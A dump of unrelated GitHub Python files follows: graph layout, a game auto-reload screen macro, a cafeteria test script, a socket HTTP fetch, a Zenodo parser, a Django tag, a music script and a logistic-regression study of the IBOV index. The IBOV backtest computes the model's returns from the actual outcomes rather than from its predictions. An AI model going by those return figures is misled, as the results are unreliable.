+= dataload_iter\n transfer_total += transfer_iter\n compute_total += compute_iter\n\n print(f\"====== Time breakdown for Iter[{iter}] dataload: {dataload_iter:.2e}, transfer: {transfer_iter:.2e}, compute: {compute_iter:.2e} =====\")\n\n if GRADIENT_METHOD:\n pos_changes[iter] = mod.pos.cpu().detach().numpy()\n else:\n pos_changes[iter] = pos.cpu().detach().numpy()\n\n\n\n elapsed = time.time() - start\n print(f\"==== Elapsed time: {elapsed:.2f}s ====\")\n if PROFILE:\n print(f\"====== Time breakdown: dataload: {dataload_total:.2e}, transfer: {transfer_total:.2e}, compute: {compute_total:.2e} =====\")\n\n # print(\"==== self_cpu_time_total ====\")\n # print(prof.key_averages().table(sort_by=\"self_cpu_time_total\", row_limit=20))\n # print(\"==== cpu_time_total ====\")\n # print(prof.key_averages().table(sort_by=\"cpu_time_total\", row_limit=20))\n # print(\"==== self_cuda_time_total ====\")\n # print(prof.key_averages().table(sort_by=\"self_cuda_time_total\", row_limit=20))\n # print(\"==== cuda_time_total ====\")\n # print(prof.key_averages().table(sort_by=\"cuda_time_total\", row_limit=20))\n\n \n\n \n if args.lay or args.draw:\n if not os.path.exists(RESULT_DIR):\n os.mkdir(RESULT_DIR)\n\n # generate ODGI .lay file\n if args.lay:\n for idx, pos in enumerate(pos_changes):\n pos_reshape = pos.reshape(num_nodes//2,2,2)\n OdgiInterface.generate_layout_file(odgi_load_graph(OG_FILE), pos_reshape, f\"{RESULT_DIR}/iter{idx}.lay\")\n\n if args.draw:\n draw(pos_changes, RESULT_DIR)\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"ODGI Vector Processing for Pairwise Update\")\n parser.add_argument('input_chrom', type=str, default='DRB1-3123', help='odgi variation graph')\n parser.add_argument('--batch_size', type=int, default=1, help='batch size')\n parser.add_argument('--num_iter', type=int, default=30, help='number of iterations')\n # parser.add_argument(\"--steps_per_iter\", type=int, default=5, help=\"steps per iteration\")\n parser.add_argument('--draw', action='store_true', default=False, help='draw the graph')\n parser.add_argument('--lay', action='store_true', default=False, help='generate .lay file for ODGI to draw')\n parser.add_argument('--cuda', action='store_true', default=False, help='use cuda')\n parser.add_argument('--log_interval', type=int, default=10, help='log interval')\n args = parser.parse_args()\n print(args)\n main(args)","repo_name":"tonyjie/gpu_pangenome_layout","sub_path":"torch_baseline/torch_graph_layout.py","file_name":"torch_graph_layout.py","file_ext":"py","file_size_in_byte":19685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3314953187","text":"import sys \na = list(sys.stdin.readline().split())\nnum1 = a[0][2]+a[0][1]+a[0][0]\nnum2 = a[1][2]+a[1][1]+a[1][0]\nnum1 = int(num1)\nnum2 = int(num2)\nif num1> num2:\n print(num1)\nelse:\n print(num2)\n","repo_name":"tocomon/algorithm","sub_path":"week01/2908.py","file_name":"2908.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1523768264","text":"# Code plagiarised from : https://stackoverflow.com/questions/27117705/how-to-update-imshow-window-for-python-opencv-cv2, https://github.com/bar-ji/OpenCV-Minecraft-Diamond-Bot/blob/main/Minecraft%20Auto%20Miner/Miner.py\r\n# This only works if you're on windowed mode, sorry\r\n\r\nimport time\r\nimport pyautogui\r\nimport cv2\r\nimport numpy as np\r\nimport keyboard\r\nimport dxcam\r\n\r\n# Constants\r\nLOWER_RANGE_AMMO_VIS = np.array([0, 0, 0])\r\n# UPPER_RANGE_AMMO_VIS = np.array([25, 15, 255])\r\nUPPER_RANGE_AMMO_VIS = np.array([179, 7, 255])\r\nLOW_PIXEL_COMPENSATE_DURATION = 0.07 # a lazy fix for the weapon reloading after taking damage (the screen turned red), Don't set this value too high, otherwise it may miss a reload\r\nRELOAD_PIXEL_NUM_TRESHOLD = 240\r\n\r\ndef processScreenshot(img):\r\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\n mask = cv2.inRange(hsv, LOWER_RANGE_AMMO_VIS, UPPER_RANGE_AMMO_VIS)\r\n return mask\r\n\r\nreloadDebounce = False # false is not pressing, true is pressing\r\nscreenX = pyautogui.size().width\r\nscreenY = pyautogui.size().height\r\nlastReloadTick = time.time()\r\nscreen = dxcam.create()\r\nscreen.start(region=(screenX - 202, screenY - 72, (screenX - 202) + 180, (screenY - 72)+ 16), target_fps=60) # 1398, 828 on 1600 * 900\r\n\r\nwhile True:\r\n # now it has a dt of 0.03\r\n ammoImg = screen.get_latest_frame()\r\n ammoImgPixel = cv2.countNonZero(processScreenshot(ammoImg))\r\n\r\n cv2.namedWindow(\"hsv_debug\", cv2.WINDOW_NORMAL)\r\n cv2.setWindowProperty(\"hsv_debug\", cv2.WND_PROP_TOPMOST, 1)\r\n cv2.imshow(\"hsv_debug\", processScreenshot(ammoImg))\r\n cv2.waitKey(1)\r\n\r\n print(\"Ammo Pixel : \" + str(ammoImgPixel))\r\n if int(ammoImgPixel) < RELOAD_PIXEL_NUM_TRESHOLD and int(ammoImgPixel) > 0:\r\n if not reloadDebounce and time.time() - lastReloadTick >= LOW_PIXEL_COMPENSATE_DURATION:\r\n keyboard.press_and_release(\"R\")\r\n reloadDebounce = True\r\n else:\r\n lastReloadTick = time.time()\r\n reloadDebounce = False\r\n \r\n","repo_name":"danameisnothing/ZS-Auto-Reload","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72140010437","text":"from app.clases.cajero import Cajero\nfrom app.clases.administrador import Admin\nfrom app.clases.producto import Producto\nfrom app.clases.venta import Venta\n\n# Creación de cajeros.\ncajero1 = Cajero(\"cajero1\", 123456, \"cajero1@correo.com\")\ncajero2 = Cajero(\"cajero2\", 888888, \"cajero2@correo.com\")\ncajero3 = Cajero(\"cajero3\", 565656, \"cajero3@correo.com\")\ncajero4 = Cajero(\"cajero4\", 100123, \"cajero4@correo.com\")\n\n# Creación de administrador y se agregar los cajeros a la base de datos\nadmin = Admin(\"admin\", \"password_admin\", \"admin@correo.com\")\nadmin.agregar_cajero(cajero1)\nadmin.agregar_cajero(cajero2)\nadmin.agregar_cajero(cajero3)\nadmin.agregar_cajero(cajero4)\n\n# Creación de productos.\np1 = Producto(1, \"dona\", 5_000, 15, \"C:\\\\Uni Norte\\\\Retos\\\\Proyecto-Cafeteria-Brioche\\\\app\\\\static\\\\images\\\\dona.png\")\np2 = Producto(2, \"late\", 2_500, 10, \"C:\\\\Uni Norte\\\\Retos\\\\Proyecto-Cafeteria-Brioche\\\\app\\\\static\\\\images\\\\late.png\")\np3 = Producto(3, \"brownie\", 5_000, 10, \"C:\\\\Uni Norte\\\\Retos\\\\Proyecto-Cafeteria-Brioche\\\\app\\\\static\\\\images\\\\brownie.png\")\n\n# Se agregan los productos a la base de datos.\nadmin.agregar_producto(p1)\nadmin.agregar_producto(p2)\nadmin.agregar_producto(p3)\n\n# Creación de compras.\ncompra1 = [[2, 1, \"dona\", 5_000], [1, 2, \"late\", 2_500]]\ncompra2 = [[1, 2, \"late\", 2_500], [3, 10, \"brownie\", 5_000]]\ncompra3 = [[5, 2, \"late\", 2_500], [3, 1, \"dona\", 5_000]]\n\n# Creación de ventas.\nventa1 = Venta(\"admin\", \"10/12/2020\", str(compra1), \"cliente1\", 12_500)\nventa2 = Venta(\"admin\", \"10/12/2020\", str(compra2), \"cliente2\", 17_500)\nventa3 = Venta(\"admin\", \"10/12/2020s\", str(compra3), \"cliente3\", 27_500)\n\n# Registro de ventas creadas en la base de datos.\nadmin.registrar_venta(venta1)\nadmin.registrar_venta(venta2)\n\n# Creación de producto ya existente para actualizar su precio.\np4 = Producto(2, \"late\", 3_500, 10, \"C:\\\\Uni Norte\\\\Retos\\\\Proyecto-Cafeteria-Brioche\\\\app\\\\static\\\\images\\\\late.png\")\nadmin.actualizar_producto(p4)\n\n# Venta registrada por cajero.\ncajero2.registrar_venta(venta3)\n","repo_name":"LQuartz27/Proyecto-Cafeteria-Brioche","sub_path":"app/clases/pruebas.py","file_name":"pruebas.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74922068358","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\n#Asis A Sotelo\n\n#hw5_p1.py\n#Get Web Page\n\n\n#22Jul19 Created Program\n#23jul19 Changed the String Method of Parsing to BS4\nUSAGE=\"\"\"\nusage: \n\n Connects to UCSB Lipman Website and Gets HTML parses to get Last Update\n\"\"\"\nN_ARGUMENTS = (1,2)\n\nfrom bs4 import BeautifulSoup\nimport sys\nimport os\nimport socket\nimport re\n################################################################\n###############################################################################\n\n###############################################################################\n\ndef open_connection(ipn, prt):\n \"\"\"Open TCP connection to ipnum:port.\n \"\"\"\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n \n connect_error = s.connect_ex((ipn, prt))\n\n if connect_error:\n if connect_error == 111:\n usage('Connection refused. Check address and try again.')\n else:\n usage('Error %d connecting to %s:%d' % (connect_error,ipn,prt))\n\n return(s)\n###############################################################################\n\ndef receive_data(thesock, nbytes):\n \"\"\"Attempt to receive nbytes of data from open socket thesock.\n \"\"\"\n dstring = b''\n rcount = 0 # number of bytes received\n thesock.settimeout(5)\n while rcount < nbytes:\n try:\n somebytes = thesock.recv(min(nbytes - rcount, 2048))\n except socket.timeout:\n print('Connection timed out.', file = sys.stderr)\n break\n if somebytes == b'':\n print('Connection closed.', file = sys.stderr)\n break\n rcount = rcount + len(somebytes)\n dstring = dstring + somebytes\n \n print('\\n%d bytes received.\\n' % rcount)\n return(dstring) \n###############################################################################\n\n\n\nprint()\nprint('Connecting to %s, port %d...\\n' % ('http://web.physics.ucsb.edu', 80))\n\nthesocket = open_connection('web.physics.ucsb.edu', 80)\n \n\n### REQUEST LINE\n \nthesocket.sendall(b'GET /~phys129/lipman/ HTTP/1.0\\r\\n\\r\\n')\n \nindata = receive_data(thesocket, 4096)\nthesocket.shutdown(socket.SHUT_RDWR)\nthesocket.close()\n\n## The following parses the data with BS4\n\nsoup = BeautifulSoup(indata,\"html.parser\")\n\ntext = soup.p.span.string\n\n\nprint(\"Last Update: \" + text)\n\n\n","repo_name":"AsisASotelo/PHYS129L_HW","sub_path":"sotelo_hw5/p1_hw5.py","file_name":"p1_hw5.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39235924590","text":"import logging\nimport requests\nimport os\nimport sys\n\nfrom tributors.utils.file import write_json\nfrom .base import ParserBase\nfrom tributors.main.orcid import get_orcid\n\nbot = logging.getLogger(\" zenodo\")\n\n\nclass ZenodoParser(ParserBase):\n name = \"zenodo\"\n\n def __init__(self, filename=None, repo=None, params=None, **kwargs):\n filename = filename or \".zenodo.json\"\n super().__init__(filename, repo, params)\n\n def load_data(self):\n \"\"\"A shared function to load the zenodo file, if data is not defined\"\"\"\n return self._load_data(\"--zenodo-file\")\n\n @property\n def email_lookup(self):\n \"\"\"Return loaded metadata as an email lookup.\"\"\"\n self.load_data()\n return {x[\"email\"]: x for x in self.data.get(\"creators\", []) if \"email\" in x}\n\n @property\n def orcid_lookup(self):\n \"\"\"Return loaded metadata as an orcid lookup.\"\"\"\n self.load_data()\n return {x[\"orcid\"]: x for x in self.data.get(\"creators\", []) if \"orcid\" in x}\n\n def init(self, force=False, from_resources=None, save=True):\n \"\"\"Generate an empty .zenodo.json if it doesn't exist\"\"\"\n from_resources = from_resources or {}\n doi = self.params.get(\"--doi\")\n\n # Zenodo file defaults to expected .zenodo.json\n zenodo_file = self.params.get(\"--zenodo-file\", self.filename)\n if os.path.exists(zenodo_file) and not force:\n sys.exit(\"%s exists, set --force to overwrite.\" % zenodo_file)\n\n bot.info(\"Generating %s\" % zenodo_file)\n\n # If a doi is provided, generate\n record = None\n self.data[\"creators\"] = []\n if doi:\n record = get_zenodo_record(doi)\n self.data[\"creators\"] = record[\"metadata\"].get(\"creators\", [])\n\n self.update_cache(update_lookup=False)\n\n # Update zenodo file from GitHub logins (default) or other\n self.update_from_logins(from_resources.get(\"login\", []))\n self.update_from_orcids(from_resources.get(\"orcid\", []))\n self.update_from_names(from_resources.get(\"name\", []))\n self.update_from_emails(from_resources.get(\"email\", []))\n\n # Update final metadata\n metadata = {\n \"creators\": self.data[\"creators\"],\n \"upload_type\": \"software\",\n \"keywords\": self.repo.topics(),\n }\n\n # If we have a zenodo record, update it\n if record:\n metadata[\"upload_type\"] = record[\"metadata\"][\"resource_type\"][\"type\"]\n metadata[\"keywords\"] = self.repo.topics(record[\"metadata\"][\"keywords\"])\n metadata[\"access_right\"] = record[\"metadata\"][\"access_right\"]\n metadata[\"license\"] = record[\"metadata\"][\"license\"][\"id\"]\n\n if save:\n write_json(metadata, zenodo_file)\n return metadata\n\n def update_from_orcids(self, orcids):\n \"\"\"Given a list of orcids, update the contributor file from it\"\"\"\n lookup = {x[\"orcid\"]: x for _, x in self.cache.items() if \"orcid\" in x}\n for orcid in orcids:\n if orcid in self.orcid_lookup:\n continue\n entry = {\"orcid\": orcid}\n if orcid in lookup:\n for field in [\"name\", \"affiliation\", \"orcid\"]:\n if field in lookup[orcid] and field not in entry:\n entry[field] = lookup[orcid][field]\n if entry and entry not in self.data[\"creators\"]:\n self.data[\"creators\"].append(entry)\n return self.data[\"creators\"]\n\n def update_orcids(self):\n \"\"\"Zenodo is a special case that has emails and real usernames, so we\n can parse through the existing file and look for orcid identifiers\n \"\"\"\n interactive = self.params.get(\"--interactive\", False)\n creators = []\n for user in self.data.get(\"creators\", []):\n orcid = user.get(\"orcid\")\n name = user.get(\"name\")\n email = user.get(\"email\")\n if orcid is not None:\n creators.append(user)\n continue\n if email or name:\n orcid = get_orcid(\n email=email, name=name.strip(), interactive=interactive\n )\n if orcid:\n user[\"orcid\"] = orcid\n creators.append(user)\n self.data[\"creators\"] = creators\n\n def update_from_emails(self, emails):\n \"\"\"Given a list of emails, update the contributor file from it. We also\n look for new orcid ids for emails that don't have them.\n \"\"\"\n # First loop through emails in the cache\n lookup = {x[\"email\"]: x for _, x in self.cache.items() if \"email\" in x}\n for email in emails:\n if email in self.email_lookup:\n continue\n entry = {}\n for field in [\"name\", \"affiliation\", \"orcid\"]:\n if email in lookup and field in lookup[email]:\n entry[field] = lookup[email][field]\n if entry and entry not in self.data[\"creators\"]:\n self.data[\"creators\"].append(entry)\n return self.data[\"creators\"]\n\n def update_from_logins(self, logins):\n \"\"\"Given a list of logins, update the zenodo.json from it. We only\n do this on init when we haven't added /updated logins with\n people's actual names.\n \"\"\"\n # GitHub contributors are the source of truth\n for login in logins:\n # Check against contribution threshold, and not bot\n if not self.include_contributor(login):\n continue\n\n cache = self.cache.get(login) or {}\n orcid = cache.get(\"orcid\")\n email = cache.get(\"email\")\n\n # Make sure we don't have already\n if (orcid and orcid in self.orcid_lookup) or (\n email and email in self.email_lookup\n ):\n continue\n\n entry = {\"name\": cache.get(\"name\") or login}\n if login in self.cache:\n for field in [\"name\", \"affiliation\", \"orcid\"]:\n if field in self.cache[login]:\n entry[field] = self.cache[login][field]\n if \"orcid\" in cache and \"orcid\" not in entry:\n entry[\"orcid\"] = cache[\"orcid\"]\n if \"affiliation\" in cache and \"affiliation\" not in entry:\n entry[\"affilitation\"] = cache[\"affiliation\"]\n\n # Don't add duplicates\n if entry not in self.data[\"creators\"]:\n self.data[\"creators\"].append(entry)\n return self.data[\"creators\"]\n\n def update(self, thresh=1, from_resources=None, save=True):\n \"\"\"Given an existing .zenodo.json file, update it with contributors\n from an allcontributors file.\n \"\"\"\n from_resources = from_resources or {}\n self.thresh = thresh\n self.load_data()\n bot.info(\"Updating %s\" % self.filename)\n\n self.update_cache()\n\n # Here we can only reasonable update from orcids (not logins)\n self.update_orcids()\n self.update_from_emails(from_resources.get(\"email\", []))\n self.update_from_orcids(from_resources.get(\"orcid\", []))\n self.update_from_names(from_resources.get(\"names\", []))\n if save:\n write_json(self.data, self.filename)\n return self.data\n\n def update_lookup(self):\n \"\"\"Each client optionally has it's own function to update the cache.\n In the case of zenodo, we aren't necessarily aware of GitHub\n login (the current mapping mechanism) so we cannot update the\n cache yet. When orcid is added this might be an option.\n \"\"\"\n self.load_data()\n bot.info(f\"Updating .tributors cache from {self.filename}\")\n\n # We have to update based on (non-degenerate) orcid\n lookup = {\n entry[\"orcid\"]: entry\n for entry in self.data.get(\"creators\", [])\n if entry.get(\"orcid\")\n }\n\n # Now loop through cache\n for login, cached in self.cache.items():\n orcid = cached.get(\"orcid\")\n if orcid in lookup:\n for field in [\"name\", \"affiliation\"]:\n if lookup[orcid].get(field) and not cached.get(field):\n cached[field] = lookup[orcid][field]\n bot.info(f\" Updating {login} with {field}: {cached[field]}\")\n\n\ndef get_zenodo_record(doi):\n \"\"\"Given a doi, retrieve a record using the Zenodo API\"\"\"\n # Get the record number from the doi\n record = doi.split(\"/\")[-1].replace(\"zenodo.\", \"\")\n token = os.environ.get(\"ZENODO_TOKEN\")\n if token:\n response = requests.get(\n \"https://zenodo.org/api/records/%s\" % record,\n json={\"access_token\": token},\n )\n else:\n response = requests.get(\"https://zenodo.org/api/records/%s\" % record)\n\n # Successful query!\n if response.status_code != 200:\n sys.exit(\n \"Response %s: %s, cannot retrieve zenodo %s.\"\n % (response.status_code, response.reason, doi)\n )\n return response.json()\n","repo_name":"con/tributors","sub_path":"tributors/main/parsers/zenodo.py","file_name":"zenodo.py","file_ext":"py","file_size_in_byte":9104,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"2928115051","text":"from django import template\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom apps.maktab.models import DarsJadvali\nfrom apps.togaraklar.models import TogarakList, QoshimchaDarsList\nfrom apps.home.models import Reklama\n\nregister = template.Library()\n\n\n@register.inclusion_tag('base/inc/sidebar.html')\ndef sidebar():\n try:\n togarak = TogarakList.objects.all()\n qoshimchadars = QoshimchaDarsList.objects.all()\n qd = QoshimchaDarsList.objects.get(pk=1)\n qr = DarsJadvali.objects.get(pk=1)\n context = {'qr': qr, 'togarak': togarak,'qd': qd, 'qoshimchadars': qoshimchadars }\n\n except ObjectDoesNotExist:\n\n togarak = TogarakList.objects.all()\n qd = []\n qr = []\n context = {'qr': qr, 'togarak': togarak, 'qd': qd, 'qoshimchadars': qoshimchadars}\n return context\n\n@register.inclusion_tag('base/inc/reklama.html')\ndef reklama():\n try:\n reklama = Reklama.objects.all()\n context = {'reklama':reklama}\n\n except ObjectDoesNotExist:\n reklama = Reklama.objects.all()\n reklama =[]\n context = {'reklama': reklama}\n\n return context\n","repo_name":"liaz98/online-school","sub_path":"apps/home/templatetags/sidebar.py","file_name":"sidebar.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"70628980357","text":"Clock.clear()\n\n\nset = live.Set()\nset.scan(scan_clip_names = True, scan_devices = True)\nClock.midi_nudge = -0.08\nmixer_track = set.tracks[0]\nsupercollider_track = set.tracks[1]\ndj_mastering = mixer_track.devices[1]\neq_low = dj_mastering.parameters[1]\n\n# kit808 = Instruc(1, 3, Clock)\n\nstreet_bell = Instruc(1, 5, Clock)\nbass = Instruc(2, 5, Clock)\npads = Instruc(3, 5, Clock)\n\n\np1 >> street_bell.init(PWalk(8)[:30], dur=PDur(8,8))\n\np1 >> street_bell.init([0,3], dur=PDur(3,8)).every(3, \"offadd\", 2)\n\nb1 >> bass([0,4,5], dur=[4/10, 3/10, 3/10])\n\nd1 >> play(\"<- - - - >< p p >\")\n\n\nset_param(eq_low, 1.0)","repo_name":"e-lie/foxcode","sub_path":"jams/11oct2021.py","file_name":"11oct2021.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"16782392363","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndf = pd.read_csv('src/Base Logistic.csv')\r\ndf = df.set_index('Date')\r\n# df['IBOV'].plot(figsize=(20,7))\r\n# plt.savefig('Images/Hist IBOV')\r\n\r\n#Adicionando variaveis aleatorias\r\n#Resetando df2\r\ndf2 = df.copy()\r\n\r\n#Calculo do ln(retorno) anual da variavel IBOV. Usasse o Ln retorno para normalizar a distribuição uma vez que ela tem limite na cauda esquerda (o valor mínimo do índice é 0), mas não na direite, já que não há limite para a alta.\r\ndf2['LogReturn'] = np.log(df2['IBOV']/df2['IBOV'].shift(1))*252\r\n\r\n#Dividindo pela raiz de 252 já que multiplicamos o Log(retorno) por 252. Como a variância é o quadrado do desvio padrão é necessário dividiz pela raiz de periodo.\r\ndf2['AvgLnStd'] = df2['LogReturn'].rolling(window=30).std()/(252**(1/2))\r\n\r\n#Criando a médias móveis curtas e longas para refletir movimentos de curto e longo prazo.\r\ndf2['AvgLnMean10'] = df2['LogReturn'].rolling(window=10).mean()\r\ndf2['AvgLnMean30'] = df2['LogReturn'].rolling(window=30).mean()\r\ndf2['AvgLnMean60'] = df2['LogReturn'].rolling(window=60).mean()\r\ndf2['AvgLnMean90'] = df2['LogReturn'].rolling(window=90).mean()\r\ndf2['AvgLnMean180'] = df2['LogReturn'].rolling(window=180).mean()\r\n\r\n#Variavel booleana para ver se o índice cresceu ou não. Utilizo o Shift(-1) para ver se o dia de amanhã é maior que o de hoje.\r\ndf2['Y'] = np.where(df2['IBOV'].shift(-1)>df2['IBOV'],1,0)\r\n\r\n#Criando DataFrame final descartando as primeiras 180 linhas, já que retornan erro para a média movel mais longa e a última linha já que ela não tem valor futuro para ver se teve alta ou não.\r\ndf3 = df2[180:-1]\r\ndf3 = df3.reset_index().drop(['Date'],axis=1)\r\ndf3.tail(5)\r\n\r\n#Analisando o resultado.\r\n\r\nmovimento = pd.DataFrame(df3['Y'].value_counts())\r\nmovimento['Mov.'] = ('Alta','Baixa')\r\nmovimento = movimento.set_index('Mov.')\r\nmovimento = movimento.rename(columns={'Y': 'Quantidade'})\r\nmovimento['Proporção (%)'] = round(movimento['Quantidade']/sum(movimento['Quantidade'])*100,2)\r\nmovimento\r\n\r\n#plotando o histograma dos log retornos.\r\n# df3['LogReturn'].plot.hist(bins=50,figsize=(20,5))\r\n# plt.savefig('Images/Histograma Ln Retornos')\r\nprint('Média dos Retornos: {:.2f}%'.format(round((np.exp(df3['LogReturn'].mean())-1)*100,2)))\r\nprint('MDesv. Padrãodos RLogs etornos: {:.2f}%'.format(round(df3['LogReturn'].std()*100/(252**(1/2)),2)))\r\n\r\n#Importando bibliotecas para o modelo.\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn import metrics\r\nfrom scipy import stats\r\n\r\n#Criando dataframes para os testes e para o calculo do resultado.\r\nx = df3.drop(['IBOV','Y'],axis=1)\r\ny = df3['Y']\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.30, random_state=27)\r\n\r\n#Trainando o modelo.\r\nlogreg = LogisticRegression()\r\nlogreg.fit(x_train,y_train)\r\n\r\n#Obtendo resultado com a amostra de teste.\r\ny_pred = logreg.predict(x_test)\r\n\r\n#Matrix de Confusão.\r\nMatrizConfusao= metrics.confusion_matrix(y_test, y_pred)\r\nMatrizConfusao = pd.DataFrame(MatrizConfusao).rename(columns={0:'Alta',1:'Baixa'},index={0:'Pred_Alta',1:'Pred_Baixa'})\r\nMatrizConfusao\r\n\r\n#Recall é a soma dos verdadeiros psitivos sobre oo total de valores positivos.\r\nrecall = MatrizConfusao.iloc[0,0]/(MatrizConfusao.iloc[0,0]+MatrizConfusao.iloc[1,0])\r\nprint('Recall: {:.2f}%'.format(recall*100))\r\n\r\n#Precisão é a soma dos verdadeiros positivos sobre o total de valores previstos como positivos pelo modelo.\r\nprecision = MatrizConfusao.iloc[0,0]/(MatrizConfusao.iloc[0,0]+MatrizConfusao.iloc[0,1])\r\nprint('Precisão: {:.2f}%'.format(precision*100))\r\n\r\n#Acuracidade é a taxa de acerto do modelo, ou seja todas as classificações corretas sobre a quantidade total de previsões.\r\n#Outra forma de obeter a acuracidade do modelo é por meio de função :logreg.score(x_test, y_test)\r\naccuracy = (MatrizConfusao.iloc[0,0]+MatrizConfusao.iloc[1,1])/sum(MatrizConfusao.sum())\r\nprint('Acuracidade: {:.2f}%'.format(accuracy*100))\r\n\r\n#Plotando Gráfico ROC com AUC na legenda. AUC = Área de baixo da curva de ROC.\r\nroc_area = metrics.roc_auc_score(y_test, logreg.predict(x_test))\r\nfpr, tpr, thresholds = metrics.roc_curve(y_test, logreg.predict_proba(x_test)[:,1])\r\n# plt.figure(figsize=(20,7))\r\n# plt.plot(fpr, tpr, label='Regressão Logística (área = {:.4f})'.format(roc_area))\r\n# plt.plot([0, 1], [0, 1],'r--')\r\n# plt.xlim([0.0, 1.0])\r\n# plt.ylim([0.0, 1.05])\r\n# plt.xlabel('Taxa de Falsos Positivos')\r\n# plt.ylabel('Taxa de Verdadeiros Positivos')\r\n# plt.title('Característica de Operação do Receptor')\r\n# plt.legend(loc=\"lower right\")\r\n# plt.show()\r\n# plt.savefig('Images/ROC')\r\n\r\nparametros = pd.DataFrame(logreg.intercept_).T\r\nparametros = parametros.append(pd.DataFrame(logreg.coef_).T)\r\nparametros = parametros.rename(columns={0:'Valores'})\r\nparametros = parametros.reset_index().drop(['index'],axis=1)\r\nvariaveis = ['Intercepção']\r\nfor i in x_train.columns.to_list():\r\n variaveis.append(i)\r\nparametros['Parametros'] = pd.DataFrame(variaveis)\r\nparametros = parametros.set_index('Parametros')\r\nparametros= parametros.T\r\nparametros\r\n\r\ndef sumLogLikelihood(baseDataFrame,coeficients,intercept,y):\r\n r = np.dot(baseDataFrame,np.array(coeficients).T)+intercept\r\n r = 1/(1+np.exp(-r))\r\n r = pd.DataFrame(r)\r\n r['y'] = pd.DataFrame(y.values)\r\n r['result'] = np.log(np.where(r['y']==1,r[0],1-r[0]))\r\n result = r['result'].sum()\r\n return result\r\n\r\ndef sumAvgLogLikelihood(y):\r\n r = np.where(y==1,sum(y)/len(y),1-sum(y)/len(y))\r\n r = np.log(r)\r\n return r.sum()\r\n\r\ndef mcFaddensPseudoRSquare(baseDataFrame,coeficients,intercept,y):\r\n llFit = sumLogLikelihood(baseDataFrame,coeficients,intercept,y)\r\n llFull = sumAvgLogLikelihood(y)\r\n \r\n return (llFull - llFit)/llFull\r\n\r\nprint('McFaddens Pseudo R²: {:.10f}'.format(mcFaddensPseudoRSquare(x_test,logreg.coef_,logreg.intercept_,y_test)))\r\n\r\ndef pValue(baseDataFrame,coeficients,intercept,y):\r\n r= 2*(sumLogLikelihood(baseDataFrame,coeficients,intercept,y) - sumAvgLogLikelihood(y))\r\n return r\r\n\r\np = pValue(x_test,logreg.coef_,logreg.intercept_,y_test)\r\nestatisticaDoTeste = stats.chi2.pdf(p , len(x_train.columns))\r\n\r\nprint('P-Value para o teste Qui-Quadrado: {:.2f}'.format(p))\r\nprint('Estatistica do teste Qui-Quadrado: {:.2f}'.format(estatisticaDoTeste))\r\n\r\ncomparacao = pd.DataFrame(np.exp(x_test['LogReturn']/252))\r\ncomparacao = comparacao.reset_index().drop('index',axis=1)\r\ncomparacao = comparacao.rename(columns={'LogReturn':'IBOV'})\r\ncomparacao['IBOV Acumulado'] = np.cumprod(comparacao['IBOV'])\r\ncomparacao['Lg Regression'] = pd.DataFrame(y.values)\r\ncomparacao['Lg Regression'] = np.where(comparacao['Lg Regression']==1,comparacao['IBOV'],1-(comparacao['IBOV']-1))\r\ncomparacao['Lg Regression Acumulado'] = np.cumprod(comparacao['Lg Regression'])\r\ncomparacao = comparacao.drop(['IBOV','Lg Regression'],axis=1)\r\ncomparacao = comparacao/comparacao.iloc[0]*100\r\ncomparacao = comparacao.rename(columns={'IBOV Acumulado':'IBOV','Lg Regression Acumulado':'Log Regression'})\r\n# comparacao.plot(figsize=(20,7))\r\n# plt.savefig('Images/IBOV x Modelo')\r\n\r\nrIbov = comparacao.iloc[-1][0]-100\r\nrRegression = comparacao.iloc[-1][1]-100\r\nstdIbov = (comparacao['IBOV']/comparacao['IBOV'].shift(1)).std()*(252**(1/2))*100\r\nstdRegression = (comparacao['Log Regression']/comparacao['Log Regression'].shift(1)).std()*(252**(1/2))*100\r\n\r\nprint('Rendimento acumulado do IBOV: {:.2f}%'.format(rIbov))\r\nprint('Rendimento acumulado do modelo: {:.2f}%'.format(rRegression))\r\nprint('Risco do IBOV: {:.2f}%'.format(stdIbov))\r\nprint('Risco do modelo: {:.2f}%'.format(stdRegression))\r\n","repo_name":"OtavioMGomes/Logistic-Regression-IBOV","sub_path":"Python/LogisticRegressionIBOV.py","file_name":"LogisticRegressionIBOV.py","file_ext":"py","file_size_in_byte":7704,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42873261888","text":"# -*- coding: utf-8 -*-\n#\n# PcControl - Security funcs.\n# Created by LulzLoL231 at 04/11/20\n#\nfrom typing import Optional, Union\nfrom zlib import crc32\n\nfrom aiogram import types\n\nimport config\nfrom log import getLogger\nfrom runtime import brain\nfrom emojis import Emojis\n\n\nasync def getUser(msg: types.Message) -> Optional[Union[dict, None]]:\n '''getUser: returns user, if registered.\n\n Args:\n msg (types.Message): Telegram message.\n\n Returns:\n Optional[Union[dict, None]]: user dict or None.\n '''\n log = getLogger('PCON Security', 'getUser')\n user = await 